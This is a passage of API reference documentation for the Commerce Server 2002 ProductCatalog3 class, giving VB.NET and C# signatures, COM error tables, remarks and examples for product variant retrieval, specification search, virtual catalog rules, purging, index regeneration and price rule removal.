E_CAT_INVALID_PRODUCTID | [C#] 0x8898005B [Visual Basic .NET] &H8898005B | The value you specified for the ProductID is blank or exceeds the maximum allowed length of 256 characters.
E_CAT_INVALID_PARAMETER | [C#] 0x889800B6 [Visual Basic .NET] &H889800B6 | The input parameter <parameter number> is invalid.
S_FALSE | 1 | The product does not exist.
[Visual Basic .NET]

Example

oMyProduct = myProductCatalog.GetProduct("SKU4005")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cataloglib (in cataloglib.dll)

See Also

ProductCatalog3 Class

ProductCatalog3.CreateProduct

ProductCatalog3.DeleteProduct


ProductCatalog3.GetProductVariant Method (PIA)

Use this method to retrieve the properties of a specified product variant.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Import ADODB26Lib     ‘ for _Recordset
…
Public Function GetProductVariant(
 varProductID As Object,
 varVariantID As Object
) As _Recordset
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
…
public _Recordset GetProductVariant(
 object varProductID,
 object varVariantID
);

Parameters

[Visual Basic .NET]
varProductID
An Object that contains the unique identifier of the product family.
varVariantID
An Object that contains the unique identifier of the product variant.
[C#]
varProductID
An object that contains the unique identifier of the product family.
varVariantID
An object that contains the unique identifier of the product variant.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns the _Recordset interface of a Recordset that contains the properties of the specified variant.

[C#] This method returns the _Recordset interface to a Recordset object that will contain the properties of the variant.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that COMException may wrap as exceptions for this method.

Constant | Value | Description
E_CAT_INVALID_RS_POINTER | [C#] 0x889800B7 [Visual Basic .NET] &H889800B7 | The recordset pointer that you specified is invalid
E_CAT_CATALOG_DOESNT_SUPPORT_VARIANTS | [C#] 0x88980032 [Visual Basic .NET] &H88980032 | This catalog does not support variants. To support variants the catalog has to be created with the variant identifier.
E_CAT_INVALID_PRODUCTID | [C#] 0x8898005B [Visual Basic .NET] &H8898005B | The value you specified for the ProductID is blank or exceeds the maximum allowed length of 256 characters.
E_CAT_INVALIDVALUE_FOR_PRODUCTID | [C#] 0x8898004E [Visual Basic .NET] &H8898004E | The value you specified for the ProductID is either out of range or does not satisfy the Min/Max condition.
E_CAT_VC_INVALID_PROD_ID_OR_CATEGORY_NAME | [C#] 0x889800FB [Visual Basic .NET] &H889800FB | The value you specified for the ProductID or CategoryName exceeds the maximum allowed length of 348 characters.
E_CAT_INVALID_VARIANTID | [C#] 0x8898005C [Visual Basic .NET] &H8898005C | The value you specified for the VariantID exceeds the maximum allowed length of 256 characters.
E_CAT_INVALIDVALUE_FOR_VARIANTID | [C#] 0x8898004D [Visual Basic .NET] &H8898004D | The value you specified for the VariantID is either out of range or does not satisfy the Min/Max condition.
E_CAT_BLANK_VARIANT | [C#] 0x8898004F [Visual Basic .NET] &H8898004F | You have specified a blank value for the VariantID. A variant cannot be created with a blank value.

Remarks

[Visual Basic .NET] A single-row recordset with all the properties of the variant is returned. The fields of the returned recordset are determined by the properties associated with the definition on which it is based. Both the product properties and the variant properties are returned.

[C#] A single-row Recordset with all the properties of the variant is returned. The fields of the returned Recordset are determined by the properties associated with the definition on which it is based. Both the product properties and the variant properties are returned.

[Visual Basic .NET]

Example

rsVariantProps = myProductCatalog.GetProductVariant("SKU4007", "Blue")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cataloglib (in cataloglib.dll)

See Also

ProductCatalog3 Class

ProductCatalog3.IdentifyingVariantProperty


ProductCatalog3.GetSpecificationSearchClauses Method (PIA)

Use this method to retrieve the specified specification search constraints.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Import ADODB26Lib     ‘ for _Recordset
…
Public Function GetSpecificationSearchClauses(
 strSearchHandle As String
) As _Recordset
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
…
public Recordset GetSpecificationSearchClauses(
 string strSearchHandle
);

Parameters

[Visual Basic .NET]
strSearchHandle
A String that contains the specification search handle.
[C#]
strSearchHandle
A string that contains the specification search handle.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns the _Recordset interface of a Recordset that contains the specification search clauses.

[C#] This method returns a _Recordset interface to a Recordset used to return the search clauses.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that COMException may wrap as exceptions for this method.

Constant | Value | Description
E_CAT_INVALID_RS_POINTER | [C#] 0x889800B7 [Visual Basic .NET] &H889800B7 | The recordset pointer that you specified is invalid
E_CAT_INVALID_PARAMETER | [C#] 0x889800B6 [Visual Basic .NET] &H889800B6 | The input parameter <parameter number> is invalid.
E_CAT_INVALID_SPECSEARCH_HANDLE | [C#] 0x8898010D [Visual Basic .NET] &H8898010D | The search handle that you specified is invalid. The search handle should be of the form [CatalogName][CategoryName] AND (Search Clause1) AND (SearchClause2) ....

Remarks

[Visual Basic .NET] The returned recordset contains a single variable-length String field, called Clause, and one row for each constraint present.

[C#]

The returned Recordset contains a single variable-length string field, called Clause, and one row for each constraint present.

[Visual Basic .NET]

Example

'strSearchHandle contains a search handle returned
'from AddSpecificationSearchClause or BeginSpecificationSearch
rsMySearchClauses = myProductCatalog.GetSpecificationSearchClauses(strSearchHandle)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cataloglib (in cataloglib.dll)

See Also

ProductCatalog3 Class

ProductCatalog3.AddSpecificationSearchClause

ProductCatalog3.RemoveSpecificationSearchClause


ProductCatalog3.GetVirtualCatalogRules Method (PIA)

Use this method to return a recordset containing the specified virtual catalog rules.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Imports ADODB26Lib     ' for _Recordset
…
Function GetVirtualCatalogRules(
  Optional lStartingRecord As Object,
  Optional lRecordsToRetrieve As Object,
  Optional strPropertyToSortOn As Object,
  Optional fSortAscending As Boolean,
  Optional plTotalRecordsInQuery As Object,
) As _Recordset
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
…
public _Recordset GetVirtualCatalogRules(
  object lStartingRecord,
  object lRecordsToRetrieve,
  object strPropertyToSortOn,
  bool fSortAscending,
  object plTotalRecordsInQuery,
);

Parameters

[Visual Basic .NET]
lStartingRecord
An Object that contains the starting record number. A value of one (1) indicates the first record. If the starting record number is not specified, then this method starts with record one (1).
lRecordsToRetrieve
An Object that contains the number of records to retrieve.
strPropertyToSortOn
An Object that contains the property on which to sort. This must be a property in the returned recordset.
fSortAscending
A Boolean that specifies whether to sort in ascending or descending order. A value of True (-1) indicates to sort in ascending order. A value of False (0) indicates to sort in descending order. The default value is True.
plTotalRecordsInQuery
An Object that, if supplied, contains on output the total number of records.
[C#]
lStartingRecord
An object that contains the starting record number. A value of one (1) indicates the first record. If the starting record number is not specified, then this method starts with record one (1).
lRecordsToRetrieve
An object that contains the number of records to retrieve.
strPropertyToSortOn
An object that contains the property on which to sort. This must be a property in the returned recordset.
fSortAscending
A Boolean that specifies whether to sort in ascending or descending order. A value of True (-1) indicates to sort in ascending order. A value of False (0) indicates to sort in descending order. The default value is True.
plTotalRecordsInQuery
An object that, if supplied, contains on output the total number of records.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a _Recordset interface to a Recordset that contains the properties for the object.

[C#] This method returns a _Recordset interface to a Recordset object used to return the properties of the object.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that COMException may wrap as exceptions for this method.

Constant | Value | Description
E_CAT_VC_NOT_A_VIRTUAL_CATALOG | [C#] 0x889800FA [Visual Basic .NET] &H889800FA | Invalid catalog type. This API can only be called on a virtual catalog.
E_CAT_INVALID_RS_POINTER | [C#] 0x889800B7 [Visual Basic .NET] &H889800B7 | The recordset pointer that you specified is invalid.
E_INVALIDARG | [C#] 0x80070057 [Visual Basic .NET] &H80070057 | One or more arguments are invalid.
E_CAT_INVALID_SORT_PROPS | [C#] 0x8898011E [Visual Basic .NET] &H8898011E | The properties that you specified to sort are invalid. Properties that contain a space should be enclosed in square brackets. Properties should not contain [ or ] and /* or -- in property names.

Remarks

The returned recordset is disconnected and updateable. The following table shows the fields that the returned recordset contains.

Field | Data Type | Description
Type | VirtualCatalogRuleTypeEnum Enum | An enumeration that describes the type of rule. See the following table for a description of the values.
CatalogName | String 90 characters | The name of the catalog.
CategoryName | String 128 characters | The name of the category.
ProductID | String 256 characters | The field name that uniquely identifies products.
VariantID | String 256 characters | The field name that uniquely identifies variants.

The following table shows the enumeration that indicates the rule types in the returned recordset.

Name | Value | Description
VCRULETYPE_INCLUDE_PRODUCT | 1 | Indicates an inclusion rule for a product.
VCRULETYPE_EXCLUDE_PRODUCT | 2 | Indicates an exclusion rule for a product.
VCRULETYPE_INCLUDE_CATEGORY | 3 | Indicates an inclusion rule for a category.
VCRULETYPE_EXCLUDE_CATEGORY | 4 | Indicates an exclusion rule for a category.
VCRULETYPE_INCLUDE_VARIANT | 5 | Indicates an inclusion rule for a variant.
VCRULETYPE_EXCLUDE_VARIANT | 6 | Indicates an exclusion rule for a variant.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cataloglib (in cataloglib.dll)

See Also

ProductCatalog3 Class


ProductCatalog3.GuaranteedSpecificationSearch Method (PIA)

Use this method to guarantee results when performing a specification search of a catalog.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Import ADODB26Lib     ‘ for _Recordset
…
Public Function GuaranteedSpecificationSearch(
  pstrSearchHandle As Object,
  Optional eClassTypeRequired As Object,
  Optional lDesiredRecords As Object,
  Optional plTotalRecordsAvailable As Object,
  Optional pRSNewPropValuesList As Object,
  Optional vrPropertiesRequired As Object
) As _Recordset
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
…
public _Recordset GuaranteedSpecificationSearch(
  ref object pstrSearchHandle,
  object eClassTypeRequired,
  object lDesiredRecords,
  ref object plTotalRecordsAvailable,
  ref object pRSNewPropValuesList,
  object vrPropertiesRequired
);

Parameters

[Visual Basic .NET]
pstrSearchHandle
An Object that contains the specification search handle.
eClassTypeRequired
An Object that contains the catalog class desired. Valid values are from the CatalogClassTypeEnum enumeration, and are described in the Remarks section below.
lDesiredRecords
An Object that contains the number of records desired.
plTotalRecordsAvailable
An Object used to return the total records available.
pRSNewPropValuesList
A Recordset used to return the new property values list.
vrPropertiesRequired
An Object that contains the properties required in a comma-delimited String.
[C#]
pstrSearchHandle
An object that contains the specification search handle.
eClassTypeRequired
An object that contains the catalog class desired. Valid values are from the CatalogClassTypeEnum enumeration, and are described in the Remarks section below. Set to Type.Missing in order to not specify a catalog class.
lDesiredRecords
An object that contains the number of records desired. Set to Type.Missing to indicate all records.
plTotalRecordsAvailable
An object used to return the total records available. Set an object to Type.Missing if the returned total is not needed.
pRSNewPropValuesList
A Recordset used to return the new property values list. Set an object to Type.Missing if the returned Recordset is not needed.
vrPropertiesRequired
An object that contains the properties required in a comma delimited String. Set to Type.Missing to not specify a list of properties.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a _Recordset interface to a Recordset that contains the search results.

[C#] This method returns a Recordset containing the search results.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that COMException may wrap as exceptions for this method.

Constant | Value | Description
E_POINTER | [C#] 0x80004003 [Visual Basic .NET] &H80004003 | The pointer is invalid.
E_CAT_INVALID_PARAMETER | [C#] 0x889800B6 [Visual Basic .NET] &H889800B6 | The input parameter <parameter number> is invalid.
E_CAT_INVALID_SPECSEARCH_HANDLE | [C#] 0x8898010D [Visual Basic .NET] &Hx8898010D | The search handle that you specified is invalid. The search handle should be of the form [CatalogName][CategoryName] AND (Search Clause1) AND (SearchClause2) ....
E_INVALIDARG | [C#] 0x80070057 [Visual Basic .NET] &H80070057 | One or more arguments are invalid.
E_CAT_INVALID_RETURN_PROPS | [C#] 0x8898011D [Visual Basic .NET] &H8898011D | The properties to return that you specified are invalid. Properties that contain a space should be enclosed in square brackets. Properties should not contain [ or ] and /* or -- in property names.
E_CAT_CATEGORY_NOT_EXISTS_NOT_SEARCHABLE | [C#] 0x88980049 [Visual Basic .NET] &H88980049 | The category you specified does not exist or is not marked as specification searchable.

Remarks

This method is similar to the PerformSpecificationSearch method. The optional output parameter, pRSNewPropValuesList, is a single-row Recordset. This Recordset contains one field for each searchable property for the products under the category specified in the BeginSpecificationSearch method. Each field contains a System.Array. The System.Array contains a set of distinct values for that property. The set is all the values in all the products that match the search clauses in the search handle. Only the properties that are marked as searchable are returned in the Recordset. A property can be marked as searchable by setting the IncludeInSpecSearch attribute of that property to true.

This method guarantees that results will be returned from a specification search of the catalog by removing search constraints in the reverse order that they were added until a match is found. Therefore, remember to add constraints to a specification search in order of decreasing importance.

The Recordset object returned by this method will contain a field for each property name in the vrPropertiesRequired parameter. If the parameter is omitted, the Recordset object will contain all of the corresponding fields. For more information about these fields, see CatalogProduct Recordset.

Note

  • When field names begin with a number or contain spaces they must be enclosed in brackets. Data errors will occur if the field names are not formatted correctly. For example, "[123_Prop1],[123_ Prop2]". If the vrPropertiesRequired property is omitted then the data in all fields will be returned correctly.

The following table shows the values of the CatalogClassTypeEnum enumeration, their associated names, and describes their use.

Name | Value | Description
cscCategoryClass | 1 | Requests category data.
cscProductVariantClass | 2 | Requests product variant data.
cscProductClass | 4 | Requests product data.
cscProductFamilyClass | 8 | Requests product family data.
cscProductFamilyForVariantsClass | 16 | Requests family for variant data, which means the product family of a product variant is being requested.
cscProductVariantsForFamily | 32 | Requests variants for family data, which means that all of the product variants for a product family are being requested.

CatalogClassTypeEnum values can be combined in the eClassTypeRequired parameter with logical OR operators, so that specifying cscProductClass OR cscProductVariantClass will return both product and product variant data.

[Visual Basic .NET]

Example

'strSearchHandle contains a search handle returned
'from AddSpecificationSearchClause or BeginSpecificationSearch
'The following parameters should be examined after the call returns.
'plTotalRecordsAvailable is a Long
'pRSNewPropValuesList is an empty recordset
rsMySearchResults = myProductCatalog.GuaranteedSpecificationSearch('strSearchHandle , 20, plTotalRecordsAvailable, pRSNewPropValuesList)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cataloglib (in cataloglib.dll)

See Also

ProductCatalog3 Class

ProductCatalog3.AddSpecificationSearchClause

ProductCatalog3.PerformSpecificationSearch

ProductCatalog3.RemoveSpecificationSearchClause


ProductCatalog3.PerformSpecificationSearch Method (PIA)

Use this method to perform a specification search of a catalog.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Import ADODB26Lib     ‘ for _Recordset
…
Public Function PerformSpecificationSearch(
  strSearchHandle As String,
  Optional eClassTypeRequired As Object,
  Optional lDesiredRecords As Object,
  Optional plTotalRecordsAvailable As Object,
  Optional pRSNewPropValuesList As Object,
  Optional vrPropertiesRequired As Object
) As _Recordset
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
…
public _Recordset PerformSpecificationSearch(
  string strSearchHandle,
  object eClassTypeRequired,
  object lDesiredRecords,
  ref object plTotalRecordsAvailable,
  ref object pRSNewPropValuesList,
  object vrPropertiesRequired
);

Parameters

[Visual Basic .NET]
strSearchHandle
A String that contains the name of the search to perform.
eClassTypeRequired
An Object that contains the catalog class desired. Valid values are from the CatalogClassTypeEnum enumeration, and are described in the Remarks section below.
lDesiredRecords
An Object that contains the records desired.
plTotalRecordsAvailable
An Object used to return the total number of records available.
pRSNewPropValuesList
An Object used to return the Recordset of the new property values list.
vrPropertiesRequired
An Object that contains the properties required in a comma-delimited String.
[C#]
strSearchHandle
A string that contains the name of the search to perform.
eClassTypeRequired
An object that contains the catalog class desired. Valid values are from the CatalogClassTypeEnum enumeration, and are described in the Remarks section below. Set to Type.Missing in order to not specify a catalog class.
lDesiredRecords
An object that contains the records desired. Set to Type.Missing to indicate all records.
plTotalRecordsAvailable
An object used to return the total number of records available. Set an object to Type.Missing if the returned total is not needed.
pRSNewPropValuesList
An object used to return the Recordset of the new property values list. Set an object to Type.Missing if the returned Recordset is not needed.
vrPropertiesRequired
An object that contains the properties required in a comma-delimited String. Set to Type.Missing to not specify a list of properties.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a _Recordset interface to a Recordset that contains the search results.

[C#] This method returns a Recordset object, which will contain the search results.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that COMException may wrap as exceptions for this method.

Constant | Value | Description
E_POINTER | [C#] 0x80004003 [Visual Basic .NET] &H80004003 | The pointer is invalid.
E_CAT_INVALID_PARAMETER | [C#] 0x889800B6 [Visual Basic .NET] &H889800B6 | The input parameter <parameter number> is invalid.
E_CAT_INVALID_SPECSEARCH_HANDLE | [C#] 0x8898010D [Visual Basic .NET] &H8898010D | The search handle that you specified is invalid. The search handle should be of the form [CatalogName][CategoryName] AND (Search Clause1) AND (SearchClause2) ....
E_INVALIDARG | [C#] 0x80070057 [Visual Basic .NET] &H80070057 | One or more arguments are invalid
E_CAT_INVALID_RETURN_PROPS | [C#] 0x8898011D [Visual Basic .NET] &H8898011D | The properties to return that you specified are invalid. Properties that contain a space should be enclosed in square brackets. Properties should not contain [ or ] and /* or -- in property names.
E_CAT_CATEGORY_NOT_EXISTS_NOT_SEARCHABLE | [C#] 0x88980049 [Visual Basic .NET] &H88980049 | The category you specified does not exist or is not marked as specification searchable.

Remarks

The PerformSpecificationSearch method executes a query using all of the constraints that have been added to the specified specification search handle.

The optional output parameter, pRSNewPropValuesList, is a single-row Recordset. This Recordset contains one field for each searchable property for the products under the category specified in the BeginSpecificationSearch method. Each field contains a System.Array. The System.Array contains a set of distinct values for that property. The set is all the values in all the products that match the search clauses in the search handle. Only the properties that are marked as searchable are returned in the Recordset. A property can be marked as searchable by setting the IncludeInSpecSearch attribute of that property to true.

The Recordset object returned by this method will contain a field for each property name in the vrPropertiesRequired parameter. It will always contain a CatalogName field. If the parameter is omitted, the Recordset object will contain all of the corresponding fields. For more information about these fields, see CatalogProduct Recordset.

Note

  • When field names begin with a number or contain spaces they must be enclosed in brackets. Data errors will occur if the field names are not formatted correctly. For example, "[123_Prop1],[123_ Prop2]". If the vrPropertiesRequired property is omitted then the data in all fields will be returned correctly.

The following table shows the values of the CatalogClassTypeEnum enumeration, their associated names, and describes their use.

Name | Value | Description
cscCategoryClass | 1 | Requests category data.
cscProductVariantClass | 2 | Requests product variant data.
cscProductClass | 4 | Requests product data.
cscProductFamilyClass | 8 | Requests product family data.
cscProductFamilyForVariantsClass | 16 | Requests family for variant data, which means the product family of a product variant is being requested.
cscProductVariantsForFamily | 32 | Requests variants for family data, which means that all of the product variants for a product family are being requested.

CatalogClassTypeEnum values can be combined in the eClassTypeRequired parameter with logical OR operators, so that specifying cscProductClass OR cscProductVariantClass will return both product and product variant data.

[Visual Basic .NET]

Example

'strSearchHandle contains a search handle returned
'from AddSpecificationSearchClause or BeginSpecificationSearch
'The following parameters should be examined after the call returns.
'plTotalRecordsAvailable is a Long
'pRSNewPropValuesList is an empty recordset
rsSearchResults = myProductCatalog.PerformSpecificationSearch(strSearchHandle, 20, plTotalRecordsAvailable, pRSNewPropValuesList)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cataloglib (in cataloglib.dll)

See Also

ProductCatalog3 Class

ProductCatalog3.AddSpecificationSearchClause

ProductCatalog3.BeginSpecificationSearch

ProductCatalog3.GuaranteedSpecificationSearch

ProductCatalog3.RemoveSpecificationSearchClause


ProductCatalog3.Purge Method (PIA)

Use this method to remove deleted products, categories, and variants from the catalog.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Sub Purge()
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public void Purge(
);

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details. In addition, this method may throw ADO errors.

Remarks

Commerce Server 2002 uses a two-stage delete process. When items are deleted from a catalog they are not removed from the Product Catalog System. The product rows are moved from the catalog tables to a deleted products table. This allows deletions to be exported with other changes by using the DeleteExportXML method. Use the Purge method to remove the marked products from the database. The Purge method is not accessible through the user interface.

Caution

  • There is no method for recovering deleted products.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cataloglib (in cataloglib.dll)

See Also

ProductCatalog3 Class


ProductCatalog3.RebuildVirtualCatalog Method (PIA)

Use this method to rebuild a virtual catalog or all dependent virtual catalogs.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Sub RebuildVirtualCatalog(
  Optional fRunSynchronously As Object,
  Optional fForceRebuild As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public void MethodName(
 object fRunSynchronously,
 object fForceRebuild
);

Parameters

[Visual Basic .NET]
fRunSynchronously
A Boolean that specifies whether to run the method synchronously. A value of True indicates that the method should be run synchronously. A value of False indicates that the method should be run asynchronously. The default value is False.
fForceRebuild
A Boolean that specifies whether to force a rebuild. A value of True indicates that all catalogs will be rebuilt regardless of status. A value of False indicates that only dirty catalogs will be rebuilt. The default value is False.
[C#]
fRunSynchronously
A Boolean that specifies whether to run the method synchronously. A value of True indicates that the method should be run synchronously. A value of False indicates that the method should be run asynchronously. The default value is False.
fForceRebuild
A Boolean that specifies whether to force a rebuild. A value of True indicates that all catalogs will be rebuilt regardless of status. A value of False indicates that only dirty catalogs will be rebuilt. The default value is False.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that COMException may wrap as exceptions for this method.

Constant | Value | Description
E_CAT_CATALOG_DOESNT_EXIST | [C#] 0x88980002 [Visual Basic .NET] &H88980002 | The catalog name you specified does not exist.

Remarks

If the fForceRebuild parameter is not set to True, virtual catalogs will only be rebuilt if there has been a rule change, a product deletion, or a category deletion that would affect the contents of the catalog. If this method is called on a base catalog, it will apply to all virtual catalogs that include products or categories from the base catalog. If this method is called on a virtual catalog, it will apply only to the virtual catalog.

If you want to rebuild all the virtual catalogs in the Product Catalog System, use ICatalogManager3::RebuildAllVirtualCatalogs

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cataloglib (in cataloglib.dll)

See Also

ProductCatalog3 Class


ProductCatalog3.RegenerateFreeTextSearchIndex Method (PIA)

Use this method to regenerate the free-text search index of a catalog.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Sub RegenerateFreeTextSearchIndex(
 fGenerateIncremental As Boolean
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public void RegenerateFreeTextSearchIndex(
 bool fGenerateIncremental
);

Parameters

[Visual Basic .NET]
fGenerateIncremental
A Boolean that determines whether an incremental or a full rebuild of the free-text search index is to be performed. A value of True indicates an incremental rebuild. A value of False indicates a full rebuild. See the Remarks section for more information. The default value is False.
[C#]
fGenerateIncremental
A bool that determines whether an incremental or a full rebuild of the free-text search index is to be performed. A value of true indicates an incremental rebuild. A value of false indicates a full rebuild. See the Remarks section for more information.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that COMException may wrap as exceptions for this method.

Constant | Value | Description
E_CAT_CATALOG_DOESNT_EXIST | [C#] 0x88980002 [Visual Basic .NET] &H88980002 | The catalog name you specified does not exist.
E_CAT_CANNOT_REFRESH | [C#] 0x8898004C [Visual Basic .NET] &H8898004C | A catalog import operation is currently in progress. The refresh operation cannot be performed now.

Remarks

This method should be called after new products or categories are added to a catalog. Otherwise, those new products and categories will not be returned in any free-text search results.

The fGenerateIncremental parameter determines what type of free-text index rebuild to perform. The default is to completely rebuild the free-text index. Though this option ensures completeness, it is slower than an incremental rebuild, which appends only recently added products and categories to the index.

If the database in which Commerce Server keeps its catalog data does not have the SQL Server 2000 full-text engine installed, this method will return with no action.

Note

  • This method cannot be called in a transacted object. This method involves the creating, deleting, or updating of free-text indexes. SQL Server does not allow these operations in a transaction.
[Visual Basic .NET]

Example

myProductCatalog.RegenerateFreeTextSearchIndex(TRUE)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cataloglib (in cataloglib.dll)

See Also

ProductCatalog3 Class


ProductCatalog3.RemoveLanguage Method (PIA)

Use this method to remove a language from this catalog.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Sub RemoveLanguage(
  strLanguage As String
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public void RemoveLanguage(
  BSTR strLanguage
);

Parameters

[Visual Basic .NET]
strLanguage
A String that contains the ISO 639+1 code that specifies the language to remove.
[C#]
strLanguage
A string that contains the ISO 639+1 code that specifies the language to remove.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that COMException may wrap as exceptions for this method.

Constant | Value | Description
E_CAT_INVALID_LANGUAGE | [C#] 0x8898009E [Visual Basic .NET] &H8898009E | The value you specified for the language parameter is either empty or exceeds the maximum length of 10 characters.
E_CAT_LANGUAGE_NOT_ASSOCIATED | [C#] 0x889800A4 [Visual Basic .NET] &H889800A4 | The language that you specified is not associated with this catalog.
E_CAT_CATALOG_DOESNT_EXIST | [C#] 0x88980002 [Visual Basic .NET] &H88980002 | The catalog name you specified does not exist.
E_CAT_CANNOT_REMOVE_DEFAULT_LANG | [C#] 0x889800AA [Visual Basic .NET] &H889800AA | The language that you specified is being used as the default language for this catalog. It cannot be removed.
E_CAT_CANNOT_REMOVE_REPORTING_LANG | [C#] 0x889800AB [Visual Basic .NET] &H889800AB | The language that you specified is being used as the reporting language for this catalog. It cannot be removed.

Remarks

This method removes the specified language from list of languages supported by the catalog. The language will not be removed if it is the default language or reporting language of the catalog; in this case, an error message will be returned.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cataloglib (in cataloglib.dll)

See Also

ProductCatalog3 Class


ProductCatalog3.RemovePriceRule Method (PIA)

Use this method to remove a specified price rule.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Sub RemovePriceRule(
  vrProductIDOrCategoryName As Object,
  Optional vrVariantID As Object,
  Optional fCategory As Boolean
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public void RemovePriceRule(
  object vrProductIDOrCategoryName,
  object vrVariantID,
  bool fCategory

Parameters

[Visual Basic .NET]
vrProductIDOrCategoryName
An Object that contains the product ID or category name to which the rule applies.
vrVariantID
An Object that contains the variant ID, if the rule is specific to a variant.
fCategory
A Boolean that specifies whether vrProductIDOrCategoryName is a product or a category. A value of True (-1) indicates a category. A value of False (0) indicates a product. The default value is False (0).
[C#]
vrProductIDOrCategoryName
An object that contains the product ID or category name to which the rule applies.
vrVariantID
An object that contains the variant ID, if the rule is specific to a variant.
fCategory
A Boolean that specifies whether vrProductIDOrCategoryName is a product or a category. A value of True (-1) indicates a category. A value of False (0) indicates a product. The default value is False (0).

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that COMException may wrap as exceptions for this method.

Constant | Value | Description
E_CAT_VC_NOT_A_VIRTUAL_CATALOG | [C#] 0x889800FA [Visual Basic .NET] &H889800FA | Invalid catalog type. This API can only be called on a virtual catalog.
E_CAT_VC_INVALID_PROD_ID_OR_CATEGORY_NAME | [C#] 0x889800FB [Visual Basic .NET] &H889800FB | The value you specified for the ProductID or CategoryName exceeds the maximum allowed length of 348 characters.
E_CAT_VC_INVALID_VARIANT_ID | [C#] 0x889800FC [Visual Basic .NET] &H889800FC | The value you specified for the VariantID exceeds the maximum allowed length of 348 characters.
E_CAT_VC_INVALID_ITEM | [C#] 0x889800FD [Visual Basic .NET] &H889800FD | The specified product/category/variant could not be found in the base catalog.
E_CAT_VC_DELETION_PRICE_RULE_NOT_FOUND | [C#] 0x88980100 [Visual Basic .NET] &H88980100 | The pricing rule could not be deleted because it does not exist.

Remarks

Set the fCategory parameter to True and the vrProductIDOrCategoryName parameter to an empty string to remove the price rule for the entire catalog.

The vrVariantID parameter is only valid for products. If it is supplied, it indicates that the rule should be removed for that variant only.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cataloglib (in cataloglib.dll)

See Also

ProductCatalog3 Class


ProductCatalog3.RemoveSpecificationSearchClause Method (PIA)

Use this method to remove the last constraint from a specified specification search.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Function RemoveSpecificationSearchClause(
 pstrSearchHandle As Object
) As String
[C#]
